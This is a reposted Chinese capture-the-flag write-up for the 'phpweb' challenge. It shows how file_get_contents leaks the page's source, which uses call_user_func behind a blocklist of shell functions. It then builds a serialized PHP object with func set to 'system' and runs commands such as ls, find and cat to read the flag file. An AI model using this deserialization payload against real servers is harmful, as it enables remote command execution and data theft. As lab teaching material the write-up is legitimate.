phpweb

phpwebphpweb利用func=file_get_contents&p=index.php拿到源码<?php$disable_fun=array("exec","shell_exec","system","pas

大家好,欢迎来到IT知识分享网。

phpweb

利用func=file_get_contents&p=index.php拿到源码

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open" ,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch" ,"escapeshellcmd","escapeshellarg","assert","substr_replace" ,"call_user_func_array","call_user_func","array_filter", "array_walk" ,"array_map","registregister_shutdown_function","register_tick_function" ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce" ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); //call_user_func — 把第一个参数作为回调函数调用 $a= gettype($result); //返回 PHP 变量的类型 var. if ($a == "string") { return $result; } else { return ""; } } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38

反序列化Test,利用call_user_func函数进行绕过,文件名匹配可以用反序列化绕过

<?php class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); $a -> p="ls ../../../../../"; $a -> func = "system"; print_r(urlencode(serialize($a))); 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

$a = new Test(); $a -> p="cat /tmp/flagoefiu4r93"; #$a -> p="find / -name flag*"; $a -> func = "system"; print_r(urlencode(serialize($a))); 
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/33590.html

(0)
上一篇 2023-12-17 19:33
下一篇 2023-12-18 08:45

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信